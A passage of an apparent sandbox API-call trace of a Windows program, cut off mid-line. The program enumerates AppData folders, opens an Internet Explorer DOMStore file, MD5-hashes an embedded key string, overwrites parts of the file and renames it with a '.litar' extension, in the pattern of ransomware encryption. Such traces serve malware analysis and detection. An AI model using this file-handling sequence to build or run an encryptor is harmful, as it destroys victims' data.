PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcf18 | out: hHeap=0x5c0000) returned 1 [0127.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e668 | out: hHeap=0x5c0000) returned 1 [0127.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e5b0 | out: hHeap=0x5c0000) returned 1 [0127.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e890 | out: hHeap=0x5c0000) returned 1 [0127.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e948 | out: hHeap=0x5c0000) returned 1 [0127.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a07c8 | out: hHeap=0x5c0000) returned 1 [0127.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075660 | out: hHeap=0x5c0000) returned 1 [0127.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30756f8 | out: hHeap=0x5c0000) returned 1 [0127.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e7d8 | out: hHeap=0x5c0000) returned 1 [0127.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x308d780 | out: hHeap=0x5c0000) returned 1 [0127.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcf18 [0127.959] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0127.959] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\") returned="Search\\" [0127.959] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="10.0\\" [0127.959] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0127.959] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0127.959] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.959] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.959] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.959] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0127.959] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.960] PathFindFileNameW (pszPath="") returned="" [0127.960] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.961] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0127.961] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.961] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0127.961] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.961] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0127.961] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcf18 | out: hHeap=0x5c0000) returned 1 [0127.961] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.961] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.961] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0127.961] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0127.961] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0127.961] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0127.961] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.961] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.961] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.961] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.961] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0127.962] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.962] PathFindFileNameW (pszPath="") returned="" [0127.962] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30073a0 | out: hHeap=0x5c0000) returned 1 [0127.963] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.963] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="all", cAlternateFileName="")) returned 1 [0127.964] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="brt", cAlternateFileName="")) returned 1 [0127.964] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="brz", cAlternateFileName="")) returned 1 [0127.964] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dan", cAlternateFileName="")) returned 1 [0127.964] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dut", cAlternateFileName="")) returned 1 [0127.964] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eng", cAlternateFileName="")) returned 1 [0127.964] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="frn", cAlternateFileName="")) returned 1 [0127.964] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="grm", cAlternateFileName="")) returned 1 [0127.964] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="itl", cAlternateFileName="")) returned 1 [0127.964] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nrw", cAlternateFileName="")) returned 1 [0127.964] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="prt", cAlternateFileName="")) returned 1 [0127.964] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="spn", cAlternateFileName="")) returned 1 [0127.964] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swd", cAlternateFileName="")) returned 1 [0127.964] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swd", cAlternateFileName="")) returned 0 [0127.964] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0127.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30072c8 | out: hHeap=0x5c0000) returned 1 [0127.965] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.965] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.965] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\") returned="36USA68T\\" [0127.965] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0127.965] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0127.965] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0127.965] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.965] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.965] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.965] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0127.965] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.965] PathFindFileNameW (pszPath="") returned="" [0127.966] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.966] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.966] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.966] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b05050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="imagesrv.adition[1].xml", cAlternateFileName="IMAGES~1.XML")) returned 1 [0127.966] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml") returned=".xml" [0127.966] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.966] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=13) returned 1 [0127.966] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.968] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.968] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xd, lpOverlapped=0x0) returned 1 [0127.969] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.969] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.969] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.969] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.969] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a07c8) returned 1 [0127.970] CryptCreateHash (in: hProv=0x6a07c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.970] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.970] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.970] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.970] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.970] GetLastError () returned 0x0 [0127.970] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.970] CryptReleaseContext (hProv=0x6a07c8, dwFlags=0x0) returned 1 [0127.970] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.970] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.971] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.971] WriteFile (in: hFile=0x624, lpBuffer=0x398fb34*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x398fb34*, lpNumberOfBytesWritten=0x398fb24*=0x8, lpOverlapped=0x0) returned 1 [0127.971] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.971] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.971] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.971] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.971] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.971] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.971] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.971] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.971] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.971] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.971] CloseHandle (hObject=0x624) returned 1 [0127.972] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xf0) returned 0x3023a40 [0127.972] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x900) returned 0x30fa0b0 [0127.972] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3023a40 | out: hHeap=0x5c0000) returned 1 [0127.972] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml.litar" (normalized: "c:\\users\\5p5nrgjn0js 